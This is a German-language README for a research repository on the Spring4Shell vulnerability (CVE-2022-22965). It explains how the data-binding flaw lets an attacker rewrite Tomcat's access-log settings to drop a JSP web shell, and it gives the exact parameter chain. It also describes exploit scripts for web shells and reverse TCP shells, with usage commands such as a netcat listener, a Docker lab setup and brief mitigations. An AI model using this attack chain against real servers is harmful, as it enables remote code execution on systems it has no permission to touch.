
Beschreibung
Haftungsausschluss: Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke gedacht. Alle Exploit-Skripte dürfen ausschließlich gegen Systeme verwendet werden, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Material entstehen.
Studie und Proof-of-Concept zu CVE-2022-22965, einer kritischen Schwachstelle zur Remote-Code-Ausführung (RCE) im Spring Framework, die im April 2022 öffentlich offengelegt wurde.
Spring4Shell betrifft Spring-MVC- und Spring-WebFlux-Anwendungen, wenn alle folgenden Bedingungen erfüllt sind:
| Bedingung | Wert |
|---|
| JDK-Version | 9 oder höher |
| Anwendungsserver | Apache Tomcat |
| Paketierung | WAR (kein ausführbares JAR) |
| Spring Framework | < 5.3.18 oder < 5.2.20 |
Der Datenbindungsmechanismus von Spring erlaubt es, HTTP-Anfrageparameter mithilfe der Punktnotation
(z. B. user.name=foo) auf Java-Objekt-Eigenschaften abzubilden. Die Schwachstelle entsteht, weil
dieser Zugriff nicht ordnungsgemäß eingeschränkt ist – ein Angreifer kann über die Klassenhierarchie
des Modellobjekts den ClassLoader der JVM erreichen:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
Dieser Pfad erreicht Tomcats AccessLogValve, dessen Logging-Konfiguration zur Laufzeit manipuliert
werden kann. Durch Ändern von Eigenschaften wie pattern, directory, prefix und suffix lenkt
der Angreifer das Zugriffsprotokoll von Tomcat so um, dass eine Datei mit der Erweiterung .jsp
geschrieben wird, die beliebigen JSP-Code enthält – was effektiv eine Web-Shell auf dem Server platziert.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
| Skript | Methode | Payload | Hinweise |
|---|---|---|---|
exploit1.py | POST | Web-Shell (passwortgeschützt) | Einzelne Anfrage |
exploit2.py | POST | Web-Shell | Setzt die Logging-Konfiguration vor/nach dem Exploit zurück |
exploit3.py | GET | Web-Shell (ohne Passwort) | Parameter über Query-String |
exploit4.py | GET | Reverse-TCP-Shell | msfvenom-basierter JSP-Payload |
exploit4b.py | POST | Reverse-TCP-Shell | Gleicher Payload wie exploit4, POST-Variante |
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven oder sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
Die Anwendung ist dann unter http://localhost:8082/vulnerable verfügbar.
WebDataBinder.setDisallowedFields() verwenden, um die Bindung von classLoader zu blockierenclass., Class., module. oder classLoader enthaltenOriginalforschung und Exploit-Code von @march0n. Dieses Repository ist eine persönliche Studie der Schwachstelle zu Lernzwecken, mit zusätzlicher Dokumentation und Analyse.